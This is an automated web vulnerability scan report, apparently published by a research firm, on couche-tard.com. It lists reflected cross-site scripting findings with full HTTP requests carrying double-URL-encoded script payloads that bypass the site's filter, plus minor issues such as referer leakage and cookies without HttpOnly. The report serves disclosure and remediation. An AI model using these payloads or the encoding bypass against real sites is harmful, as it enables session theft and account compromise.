Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application.

The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.

Users can be induced to issue the attacker's crafted request in various ways. For example, the attacker can send a victim a link containing a malicious URL in an email or instant message. They can submit the link to popular web sites that allow content authoring, for example in blog comments. And they can create an innocuous looking web site which causes anyone viewing it to make arbitrary cross-domain requests to the vulnerable application (using either the GET or the POST method).

The security impact of cross-site scripting vulnerabilities is dependent upon the nature of the vulnerable application, the kinds of data and functionality which it contains, and the other applications which belong to the same domain and organisation. If the application is used only to display non-sensitive public content, with no authentication or access control functionality, then a cross-site scripting flaw may be considered low risk. However, if the same application resides on a domain which can access cookies for other more security-critical applications, then the vulnerability could be used to attack those other applications, and so may be considered high risk. Similarly, if the organisation which owns the application is a likely target for phishing attacks, then the vulnerability could be leveraged to lend credibility to such attacks, by injecting Trojan functionality into the vulnerable application, and exploiting users' trust in the organisation in order to capture credentials for other applications which it owns. In many kinds of application, such as those providing online banking functionality, cross-site scripting should always be considered high risk.

Remediation background

In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defenses:

Input should be validated as strictly as possible on arrival, given the kind of content which it is expected to contain. For example, personal names should consist of alphabetical and a small range of typographical characters, and be relatively short; a year of birth should consist of exactly four numerals; email addresses should match a well-defined regular expression. Input which fails the validation should be rejected, not sanitised.
User input should be HTML-encoded at any point where it is copied into application responses. All HTML metacharacters, including < > " ' and =, should be replaced with the corresponding HTML entities (< > etc).

In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.

1.1. http://www.couche-tard.com/corporatif/javascript/openwindow.php [REST URL parameter 1] next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.couche-tard.com
Path:	/corporatif/javascript/openwindow.php

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 4076a%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253ead408c2a61b was submitted in the REST URL parameter 1. This input was echoed as 4076a"><script>alert(1)</script>ad408c2a61b in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Remediation detail

There is probably no need to perform a second URL-decode of the value of REST URL parameter 1 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.

Request

GET /corporatif4076a%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253ead408c2a61b/javascript/openwindow.php?hlpfile= HTTP/1.1
Accept: */*
Referer: http://www.couche-tard.com/corporatif/the-network.html
Accept-Language: en-US
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E; .NET CLR 3.5.30729; .NET CLR 3.0.30729)
Accept-Encoding: gzip, deflate
Host: www.couche-tard.com
Proxy-Connection: Keep-Alive
Cookie: _lang=eng; POSTNUKESID=k6s9usn3gii6agrqmfftua9pi6; UniteRechercheAvancee_UniteEnCours=001; ASP.NET_SessionId=s43ntj55vmexkpjsumtcrc55; cookie_axis_stat=04daa7f7-4c41-4882-bc13-2396f109a2e4

Response (redirected)

HTTP/1.1 200 OK
Cache-Control: private
Content-Type: text/html; charset=utf-8
Vary: Accept-Encoding
Server: Microsoft-IIS/7.5
X-AspNet-Version: 2.0.50727
Set-Cookie: cookie_axis_stat=04daa7f7-4c41-4882-bc13-2396f109a2e4; expires=Wed, 01-Dec-2010 23:24:09 GMT; path=/
X-Powered-By: ASP.NET
Date: Tue, 16 Nov 2010 23:24:10 GMT
Content-Length: 79342

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en">
<head id="head
...[SNIP]...
<form name="Afficher" method="post" action="/fr/accueil/404custom.aspx?404;http://www.couche-tard.com:80/corporatif4076a"><script>alert(1)</script>ad408c2a61b/javascript/openwindow.php?hlpfile=" onsubmit="javascript:return WebForm_OnSubmit();" id="Afficher">
...[SNIP]...

1.2. http://www.couche-tard.com/corporatif/javascript/openwindow.php [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.couche-tard.com
Path:	/corporatif/javascript/openwindow.php

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 9dabe%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e9bfab89b6ba was submitted in the REST URL parameter 2. This input was echoed as 9dabe"><script>alert(1)</script>9bfab89b6ba in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Remediation detail

There is probably no need to perform a second URL-decode of the value of REST URL parameter 2 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.

Request

GET /corporatif/javascript9dabe%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e9bfab89b6ba/openwindow.php?hlpfile= HTTP/1.1
Accept: */*
Referer: http://www.couche-tard.com/corporatif/the-network.html
Accept-Language: en-US
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E; .NET CLR 3.5.30729; .NET CLR 3.0.30729)
Accept-Encoding: gzip, deflate
Host: www.couche-tard.com
Proxy-Connection: Keep-Alive
Cookie: _lang=eng; POSTNUKESID=k6s9usn3gii6agrqmfftua9pi6; UniteRechercheAvancee_UniteEnCours=001; ASP.NET_SessionId=s43ntj55vmexkpjsumtcrc55; cookie_axis_stat=04daa7f7-4c41-4882-bc13-2396f109a2e4

Response (redirected)

HTTP/1.1 200 OK
Cache-Control: private
Content-Type: text/html; charset=utf-8
Vary: Accept-Encoding
Server: Microsoft-IIS/7.5
X-AspNet-Version: 2.0.50727
Set-Cookie: cookie_axis_stat=04daa7f7-4c41-4882-bc13-2396f109a2e4; expires=Wed, 01-Dec-2010 23:24:18 GMT; path=/
X-Powered-By: ASP.NET
Date: Tue, 16 Nov 2010 23:24:19 GMT
Content-Length: 79342

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en">
<head id="head
...[SNIP]...
<form name="Afficher" method="post" action="/fr/accueil/404custom.aspx?404;http://www.couche-tard.com:80/corporatif/javascript9dabe"><script>alert(1)</script>9bfab89b6ba/openwindow.php?hlpfile=" onsubmit="javascript:return WebForm_OnSubmit();" id="Afficher">
...[SNIP]...

1.3. http://www.couche-tard.com/corporatif/javascript/openwindow.php [REST URL parameter 3] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.couche-tard.com
Path:	/corporatif/javascript/openwindow.php

Issue detail

The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload b61fe%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e076e4c244f2 was submitted in the REST URL parameter 3. This input was echoed as b61fe"><script>alert(1)</script>076e4c244f2 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Remediation detail

There is probably no need to perform a second URL-decode of the value of REST URL parameter 3 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.

Request

GET /corporatif/javascript/openwindow.phpb61fe%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e076e4c244f2?hlpfile= HTTP/1.1
Accept: */*
Referer: http://www.couche-tard.com/corporatif/the-network.html
Accept-Language: en-US
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E; .NET CLR 3.5.30729; .NET CLR 3.0.30729)
Accept-Encoding: gzip, deflate
Host: www.couche-tard.com
Proxy-Connection: Keep-Alive
Cookie: _lang=eng; POSTNUKESID=k6s9usn3gii6agrqmfftua9pi6; UniteRechercheAvancee_UniteEnCours=001; ASP.NET_SessionId=s43ntj55vmexkpjsumtcrc55; cookie_axis_stat=04daa7f7-4c41-4882-bc13-2396f109a2e4

Response (redirected)

HTTP/1.1 200 OK
Cache-Control: private
Content-Type: text/html; charset=utf-8
Vary: Accept-Encoding
Server: Microsoft-IIS/7.5
X-AspNet-Version: 2.0.50727
Set-Cookie: cookie_axis_stat=04daa7f7-4c41-4882-bc13-2396f109a2e4; expires=Wed, 01-Dec-2010 23:24:25 GMT; path=/
X-Powered-By: ASP.NET
Date: Tue, 16 Nov 2010 23:24:27 GMT
Content-Length: 79342

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en">
<head id="head
...[SNIP]...
<form name="Afficher" method="post" action="/fr/accueil/404custom.aspx?404;http://www.couche-tard.com:80/corporatif/javascript/openwindow.phpb61fe"><script>alert(1)</script>076e4c244f2?hlpfile=" onsubmit="javascript:return WebForm_OnSubmit();" id="Afficher">
...[SNIP]...

1.4. http://www.couche-tard.com/fr/accueil/404custom.aspx [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.couche-tard.com
Path:	/fr/accueil/404custom.aspx

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 521e8"><script>alert(1)</script>638b4b9c066 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /fr/accueil/404custom.aspx?521e8"><script>alert(1)</script>638b4b9c066=1 HTTP/1.1
Accept: */*
Referer: http://www.couche-tard.com/corporatif/the-network.html
Accept-Language: en-US
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E; .NET CLR 3.5.30729; .NET CLR 3.0.30729)
Accept-Encoding: gzip, deflate
Host: www.couche-tard.com
Proxy-Connection: Keep-Alive
Cookie: UniteRechercheAvancee_UniteEnCours=001; ASP.NET_SessionId=s43ntj55vmexkpjsumtcrc55; cookie_axis_stat=04daa7f7-4c41-4882-bc13-2396f109a2e4

Response

HTTP/1.1 200 OK
Cache-Control: private
Content-Type: text/html; charset=utf-8
Vary: Accept-Encoding
Server: Microsoft-IIS/7.5
X-AspNet-Version: 2.0.50727
Set-Cookie: cookie_axis_stat=04daa7f7-4c41-4882-bc13-2396f109a2e4; expires=Wed, 01-Dec-2010 23:24:47 GMT; path=/
X-Powered-By: ASP.NET
Date: Tue, 16 Nov 2010 23:24:49 GMT
Content-Length: 79265

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en">
<head id="head
...[SNIP]...
<form name="Afficher" method="post" action="/fr/accueil/404custom.aspx?521e8"><script>alert(1)</script>638b4b9c066=1" onsubmit="javascript:return WebForm_OnSubmit();" id="Afficher">
...[SNIP]...

2. Cross-domain Referer leakage previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.couche-tard.com
Path:	/corporatif/index.php

Issue detail

The page was loaded from a URL containing a query string:

http://www.couche-tard.com/corporatif/index.php?module=CMS&id=1&newlang=eng

The response contains the following links to other domains:

http://tmx.quotemedia.com/quote.php?qm_symbol=ATD.A&locale=EN
http://tmx.quotemedia.com/quote.php?qm_symbol=ATD.B&locale=EN

Issue background

When a web browser makes a request for a resource, it typically adds an HTTP header, called the "Referer" header, indicating the URL of the resource from which the request originated. This occurs in numerous situations, for example when a web page loads an image or script, or when a user clicks on a link or submits a form.

If the resource being requested resides on a different domain, then the Referer header is still generally included in the cross-domain request. If the originating URL contains any sensitive information within its query string, such as a session token, then this information will be transmitted to the other domain. If the other domain is not fully trusted by the application, then this may lead to a security compromise.

You should review the contents of the information being transmitted to other domains, and also determine whether those domains are fully trusted by the originating application.

Today's browsers may withhold the Referer header in some situations (for example, when loading a non-HTTPS resource from a page that was loaded over HTTPS, or when a Refresh directive is issued), but this behaviour should not be relied upon to protect the originating URL from disclosure.

Note also that if users can author content within the application then an attacker may be able to inject links referring to a domain they control in order to capture data from URLs used within the application.

Issue remediation

The application should never transmit any sensitive information within the URL query string. In addition to being leaked in the Referer header, such information may be logged in various locations and may be visible on-screen to untrusted parties.

Request

GET /corporatif/index.php?module=CMS&id=1&newlang=eng HTTP/1.1
Accept: */*
Referer: http://en.wikipedia.org/wiki/Alimentation_Couche-Tard
Accept-Language: en-US
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E; .NET CLR 3.5.30729; .NET CLR 3.0.30729)
Accept-Encoding: gzip, deflate
Host: www.couche-tard.com
Proxy-Connection: Keep-Alive

Response

HTTP/1.1 200 OK
Cache-Control: cache
Pragma: no-cache
Content-Type: text/html
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Vary: Accept-Encoding
Server: Microsoft-IIS/7.5
X-Powered-By: PHP/5.2.13
Set-Cookie: POSTNUKESID=k6s9usn3gii6agrqmfftua9pi6; expires=Sat, 17-Nov-2035 05:22:44 GMT; path=/corporatif
Set-Cookie: _lang=eng; expires=Thu, 16-Dec-2010 23:22:44 GMT
X-Powered-By: ASP.NET
Date: Tue, 16 Nov 2010 23:22:44 GMT
Connection: close
Content-Length: 21922

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=ISO-8859-1">
<title>Couche-Tard | Home</title>

<link rel="S
...[SNIP]...
<br />
<a target="_blank" href="http://tmx.quotemedia.com/quote.php?qm_symbol=ATD.A&locale=EN"><img height="18" alt="" width="85" border="0" src="/corporatif/modules/AxialRealisation/img_repository/files/images/accueil/acc-atda.gif" /></a>   <a target="_blank" href="http://tmx.quotemedia.com/quote.php?qm_symbol=ATD.B&locale=EN"><img height="18" alt="" width="85" border="0" src="/corporatif/modules/AxialRealisation/img_repository/files/images/accueil/acc-atdb.gif" />
...[SNIP]...

3. Cross-domain script include previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.couche-tard.com
Path:	/fr/accueil/404custom.aspx

Issue detail

The response dynamically includes the following script from another domain:

http://s3.amazonaws.com/new.cetrk.com/pagea/scripts/0010/1557.js

Issue background

When an application includes a script from an external domain, this script is executed by the browser within the security context of the invoking application. The script can therefore do anything that the application's own scripts can do, such as accessing application data and performing actions within the context of the current user.

If you include a script from an external domain, then you are trusting that domain with the data and functionality of your application, and you are trusting the domain's own security to prevent an attacker from modifying the script to perform malicious actions within your application.

Issue remediation

Scripts should not be included from untrusted domains. If you have a requirement which a third-party script appears to fulfil, then you should ideally copy the contents of that script onto your own domain and include it from there. If that is not possible (e.g. for licensing reasons) then you should consider reimplementing the script's functionality within your own code.

Request

GET /fr/accueil/404custom.aspx HTTP/1.1
Accept: */*
Referer: http://www.couche-tard.com/corporatif/index.php?module=CMS&id=1&newlang=eng
Accept-Language: en-US
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E; .NET CLR 3.5.30729; .NET CLR 3.0.30729)
Accept-Encoding: gzip, deflate
Host: www.couche-tard.com
Proxy-Connection: Keep-Alive
Cookie: UniteRechercheAvancee_UniteEnCours=001

Response

HTTP/1.1 200 OK
Cache-Control: private
Content-Type: text/html; charset=utf-8
Vary: Accept-Encoding
Server: Microsoft-IIS/7.5
X-AspNet-Version: 2.0.50727
Set-Cookie: ASP.NET_SessionId=s43ntj55vmexkpjsumtcrc55; path=/; HttpOnly
Set-Cookie: cookie_axis_stat=04daa7f7-4c41-4882-bc13-2396f109a2e4; expires=Wed, 01-Dec-2010 23:22:46 GMT; path=/
X-Powered-By: ASP.NET
Date: Tue, 16 Nov 2010 23:22:47 GMT
Content-Length: 79219

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en">
<head id="head
...[SNIP]...
</script>

<script type="text/javascript" src="http://s3.amazonaws.com/new.cetrk.com/pagea/scripts/0010/1557.js"></script>
...[SNIP]...

4. Cookie without HttpOnly flag set previous next
There are 2 instances of this issue:

/corporatif/index.php
/fr/accueil/404custom.aspx

Issue background

If the HttpOnly attribute is set on a cookie, then the cookie's value cannot be read or set by client-side JavaScript. This measure can prevent certain client-side attacks, such as cross-site scripting, from trivially capturing the cookie's value via an injected script.

Issue remediation

There is usually no good reason not to set the HttpOnly flag on all cookies. Unless you specifically require legitimate client-side scripts within your application to read or set a cookie's value, you should set the HttpOnly flag by including this attribute within the relevant Set-cookie directive.

You should be aware that the restrictions imposed by the HttpOnly flag can potentially be circumvented in some circumstances, and that numerous other serious attacks can be delivered by client-side script injection, aside from simple cookie stealing.

4.1. http://www.couche-tard.com/corporatif/index.php previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.couche-tard.com
Path:	/corporatif/index.php

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

POSTNUKESID=k6s9usn3gii6agrqmfftua9pi6; expires=Sat, 17-Nov-2035 05:22:44 GMT; path=/corporatif

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

Response

4.2. http://www.couche-tard.com/fr/accueil/404custom.aspx previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.couche-tard.com
Path:	/fr/accueil/404custom.aspx

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

cookie_axis_stat=04daa7f7-4c41-4882-bc13-2396f109a2e4; expires=Wed, 01-Dec-2010 23:22:46 GMT; path=/

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

Response

HTTP/1.1 200 OK
Cache-Control: private
Content-Type: text/html; charset=utf-8
Vary: Accept-Encoding
Server: Microsoft-IIS/7.5
X-AspNet-Version: 2.0.50727
Set-Cookie: ASP.NET_SessionId=s43ntj55vmexkpjsumtcrc55; path=/; HttpOnly
Set-Cookie: cookie_axis_stat=04daa7f7-4c41-4882-bc13-2396f109a2e4; expires=Wed, 01-Dec-2010 23:22:46 GMT; path=/
X-Powered-By: ASP.NET
Date: Tue, 16 Nov 2010 23:22:47 GMT
Content-Length: 79219

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en">
<head id="head
...[SNIP]...

5. Email addresses disclosed previous next
There are 2 instances of this issue:

/corporatif/includes_axial/jscalendar/calendar.js
/corporatif/includes_axial/jscalendar/lang/calendar-en.js

Issue background

The presence of email addresses within application responses does not necessarily constitute a security vulnerability. Email addresses may appear intentionally within contact information, and many applications (such as web mail) include arbitrary third-party email addresses within their core content.

However, email addresses of developers and other individuals (whether appearing on-screen or hidden within page source) may disclose information that is useful to an attacker; for example, they may represent usernames that can be used at the application's login, and they may be used in social engineering attacks against the organisation's personnel. Unnecessary or excessive disclosure of email addresses may also lead to an increase in the volume of spam email received.

Issue remediation

You should review the email addresses being disclosed by the application, and consider removing any that are unnecessary, or replacing personal addresses with anonymous mailbox addresses (such as helpdesk@example.com).

5.1. http://www.couche-tard.com/corporatif/includes_axial/jscalendar/calendar.js previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.couche-tard.com
Path:	/corporatif/includes_axial/jscalendar/calendar.js

Issue detail

The following email address was disclosed in the response:

mihai_bazon@yahoo.com

Request

GET /corporatif/includes_axial/jscalendar/calendar.js HTTP/1.1
Accept: */*
Referer: http://www.couche-tard.com/corporatif/index.php?module=CMS&id=1&newlang=eng
Accept-Language: en-US
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E; .NET CLR 3.5.30729; .NET CLR 3.0.30729)
Accept-Encoding: gzip, deflate
Host: www.couche-tard.com
Proxy-Connection: Keep-Alive
Cookie: _lang=eng; POSTNUKESID=k6s9usn3gii6agrqmfftua9pi6

Response

HTTP/1.1 200 OK
Content-Type: application/x-javascript
Last-Modified: Wed, 26 May 2010 19:41:35 GMT
Accept-Ranges: bytes
ETag: "8041a73bfdca1:0"
Vary: Accept-Encoding
Server: Microsoft-IIS/7.5
X-Powered-By: ASP.NET
Date: Tue, 16 Nov 2010 23:22:44 GMT
Content-Length: 51043

/* Copyright Mihai Bazon, 2002-2005 | www.bazon.net/mishoo
* -----------------------------------------------------------
*
* The DHTML Calendar, version 1.0 "It is happening again"
*
* De
...[SNIP]...
<mihai_bazon@yahoo.com>
...[SNIP]...

5.2. http://www.couche-tard.com/corporatif/includes_axial/jscalendar/lang/calendar-en.js previous

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.couche-tard.com
Path:	/corporatif/includes_axial/jscalendar/lang/calendar-en.js

Issue detail

The following email address was disclosed in the response:

mihai_bazon@yahoo.com

Request

GET /corporatif/includes_axial/jscalendar/lang/calendar-en.js HTTP/1.1
Accept: */*
Referer: http://www.couche-tard.com/corporatif/index.php?module=CMS&id=1&newlang=eng
Accept-Language: en-US
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E; .NET CLR 3.5.30729; .NET CLR 3.0.30729)
Accept-Encoding: gzip, deflate
Host: www.couche-tard.com
Proxy-Connection: Keep-Alive
Cookie: _lang=eng; POSTNUKESID=k6s9usn3gii6agrqmfftua9pi6

Response

HTTP/1.1 200 OK
Content-Type: application/x-javascript
Last-Modified: Wed, 26 May 2010 19:42:03 GMT
Accept-Ranges: bytes
ETag: "d6d83d84bfdca1:0"
Vary: Accept-Encoding
Server: Microsoft-IIS/7.5
X-Powered-By: ASP.NET
Date: Tue, 16 Nov 2010 23:22:44 GMT
Content-Length: 3727

// ** I18N

// Calendar EN language
// Author: Mihai Bazon, <mihai_bazon@yahoo.com>
// Encoding: any
// Distributed under the same terms as the calendar itself.

// For translators: please use
...[SNIP]...

6. HTML does not specify charset previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.couche-tard.com
Path:	/corporatif/javascript/showimages.php

Issue description

If a web response states that it contains HTML content but does not specify a character set, then the browser may analyse the HTML and attempt to determine which character set it appears to be using. Even if the majority of the HTML actually employs a standard character set such as UTF-8, the presence of non-standard characters anywhere in the response may cause the browser to interpret the content using a different character set. This can have unexpected results, and can lead to cross-site scripting vulnerabilities in which non-standard encodings like UTF-7 can be used to bypass the application's defensive filters.

In most cases, the absence of a charset directive does not constitute a security flaw, particularly if the response contains static content. You should review the contents of the response and the context in which it appears to determine whether any vulnerability exists.

Issue remediation

For every response containing HTML content, the application should include within the Content-type header a directive specifying a standard recognised character set, for example charset=ISO-8859-1.

Request

GET /corporatif/javascript/showimages.php HTTP/1.1
Accept: */*
Referer: http://www.couche-tard.com/corporatif/index.php?module=CMS&id=1&newlang=eng
Accept-Language: en-US
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E; .NET CLR 3.5.30729; .NET CLR 3.0.30729)
Accept-Encoding: gzip, deflate
Host: www.couche-tard.com
Proxy-Connection: Keep-Alive
Cookie: _lang=eng; POSTNUKESID=k6s9usn3gii6agrqmfftua9pi6

Response

HTTP/1.1 200 OK
Content-Type: text/html
Vary: Accept-Encoding
Server: Microsoft-IIS/7.5
X-Powered-By: PHP/5.2.13
X-Powered-By: ASP.NET
Date: Tue, 16 Nov 2010 23:22:47 GMT
Connection: close
Content-Length: 224

function showimage()
{
if (!document.images)
return
document.images.avatar.src= 'images/avatar/' + document.Register.user_avatar.options[document.Register.user_avatar.se
...[SNIP]...

7. Content type incorrectly stated previous

Summary

Severity:	Information
Confidence:	Firm
Host:	http://www.couche-tard.com
Path:	/corporatif/javascript/showimages.php

Issue detail

The response contains the following Content-type statement:

Content-Type: text/html

The response states that it contains HTML. However, it actually appears to contain script.

Issue background

If a web response specifies an incorrect content type, then browsers may process the response in unexpected ways. If the specified content type is a renderable text-based format, then the browser will usually attempt to parse and render the response in that format. If the specified type is an image format, then the browser will usually detect the anomaly and will analyse the actual content and attempt to determine its MIME type. Either case can lead to unexpected results, and if the content contains any user-controllable data may lead to cross-site scripting or other client-side vulnerabilities.

In most cases, the presence of an incorrect content type statement does not constitute a security flaw, particularly if the response contains static content. You should review the contents of the response and the context in which it appears to determine whether any vulnerability exists.

Issue remediation

For every response containing a message body, the application should include a single Content-type header which correctly and unambiguously states the MIME type of the content in the response body.

Request

Response

Report generated by Hoyt LLC Research at Tue Nov 16 21:08:28 CST 2010.